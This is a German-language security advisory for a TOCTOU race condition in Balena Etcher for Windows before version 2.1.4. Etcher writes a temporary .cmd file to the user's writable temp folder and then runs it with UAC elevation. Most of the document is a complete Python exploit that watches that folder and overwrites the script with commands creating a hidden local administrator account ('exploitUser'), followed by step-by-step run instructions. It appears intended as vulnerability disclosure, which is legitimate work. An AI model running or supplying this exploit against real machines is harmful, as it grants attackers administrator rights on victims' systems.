
Balena Etcher-Versionen vor v2.1.4 unter Windows sind von einer Time-of-Check-zu-Time-of-Use- (TOCTOU) Race-Condition in der Verarbeitung temporärer Dateien betroffen.
Eine Time-of-Check-to-Time-of-Use (TOCTOU)-Schwachstelle wurde in Balena Etcher für Windows in Versionen vor 2.1.4 identifiziert.
Die Anwendung erstellt eine temporäre .cmd-Datei in einem benutzerbeschreibbaren Verzeichnis und führt diese später mit erhöhten Rechten über UAC aus.
Dies ermöglicht es einer Anwendung oder einem Prozess, der im aktuellen Benutzerkontext mit mittlerer Integrität läuft, die Rechte auf hohe Integrität auszuweiten, indem bösartige Befehle in das temporäre Skript eingeschleust werden, bevor es ausgeführt wird.
Wenn ein Benutzer den Flash-Vorgang startet, führt Etcher die folgende Sequenz aus:
Eine temporäre .cmd-Datei wird im beschreibbaren Temp-Verzeichnis des Benutzers erstellt:
C:\Users\<Benutzername>\AppData\Local\Temp\etcher\
Die Datei wird mit den erforderlichen Umgebungsvariablen und dem Befehl zum Starten von etcher-util.exe befüllt.
Das Skript wird mit erhöhten Rechten über Windows UAC ausgeführt.
Die Schwachstelle entsteht durch die zeitliche Lücke zwischen Dateierstellung und -ausführung. In diesem kurzen Zeitfenster kann eine Anwendung, die im selben Benutzerkontext läuft, das temporäre Verzeichnis überwachen und die legitime .cmd-Datei durch eine bösartige Version ersetzen. Da Etcher die Integrität der Datei vor der Ausführung nicht validiert, wird der bösartige Code mit erhöhten Rechten ausgeführt.
Das folgende Python-Skript überwacht das Etcher-Temp-Verzeichnis und hängt, sobald die .cmd-Datei erkannt wird, eine bösartige Nutzlast an, die ein neues lokales Administratorkonto erstellt.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py aus. Das Skript beginnt mit der Überwachung des Temp-Verzeichnisses auf .cmd-Dateien, die von Etcher erstellt werden.
Wenn die UAC-Eingabeaufforderung erscheint, akzeptieren Sie diese, damit Etcher mit erhöhten Rechten fortfahren kann.
Das Exploit-Skript erkennt und ersetzt die temporäre .cmd-Datei kurz vor der Ausführung. Sobald das Skript mit erhöhten Rechten ausgeführt wird, werden die eingeschleusten Befehle ausgeführt und ein neuer lokaler Administrator-Benutzer (exploitUser) hinzugefügt.